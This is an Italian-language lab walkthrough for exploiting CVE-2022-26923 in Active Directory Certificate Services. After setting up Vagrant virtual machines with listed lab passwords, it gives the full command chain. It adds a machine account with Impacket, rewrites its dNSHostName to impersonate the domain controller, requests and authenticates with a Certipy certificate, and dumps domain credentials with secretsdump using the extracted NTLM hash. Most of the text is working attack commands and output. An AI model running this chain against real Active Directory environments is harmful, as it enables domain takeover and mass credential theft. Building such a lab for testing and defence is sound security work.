
Sfruttamento per CVE-2022-26923
CVE-2022-26923 è una vulnerabilità in Active Directory Certificate Services (AD CS) che consente a un attaccante di aumentare i privilegi abusando dell'autenticazione basata su certificati. Questa guida illustra i passi per sfruttare questa vulnerabilità utilizzando Impacket e Certipy.
| Macchina Virtuale | Nome Utente | Password |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Per prima cosa, clonare il repository contenente i file necessari:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
Il repository contiene due cartelle, ciascuna con un Vagrantfile per il provisioning delle macchine virtuali. È necessario installare Vagrant sul proprio host prima di procedere.
Scaricare e installare Vagrant da qui. Oppure installare usando PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Navigare nella directory WindowsServer2022:
cd WindowsServer2022
vagrant up
Questo scaricherà e configurerà la VM Windows Server 2022 in VirtualBox.
Navigare nella directory Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
Poiché l'exploit richiede una rete NAT, configurare VirtualBox come segue:
Prima di eseguire il comando seguente, assicurarsi che VBoxManage sia aggiunto alle variabili d'ambiente. In caso contrario, eseguire il comando utilizzando il percorso completo:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Se VBoxManage non viene riconosciuto, usare:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Assicurarsi di controllare entrambe le VM in VirtualBox e verificare che siano assegnate all'adattatore di rete NatNetwork - NatNet1.
Prima di procedere, assicurarsi che sia Windows Server 2022 che Kali Linux VM siano accesi.
Accedere alla Kali Linux VM per iniziare l'attacco.
Aggiornare il file /etc/hosts per mappare l'IP del controller di dominio:
sudo nano /etc/hosts
Aggiungere la seguente riga:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Salvare e uscire.
Navigare nella directory CVE-26923 e attivare l'ambiente virtuale Python:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Utilizzando l'utility addcomputer di Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Controllare i computer del dominio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Navigare nella directory bloodyAD e usare bloodyAD.py per aggiungere PCTEST1 al dominio:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Verificare che PCTEST1 sia stato assegnato al dominio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Usare Certipy per trovare certificati vulnerabili:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Richiedere un certificato macchina usando Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Autenticarsi utilizzando il certificato ottenuto:
certipy auth -pfx server2022.pfx
Dopo aver eseguito il comando certipy auth, verranno visualizzati due hash. L'hash di destra verrà utilizzato per l'autenticazione NTLM.
Esempio di output hash:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Usare l'hash NTLM estratto per scaricare le credenziali:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
Questo completa l'intera catena d'attacco per sfruttare CVE-2022-26923.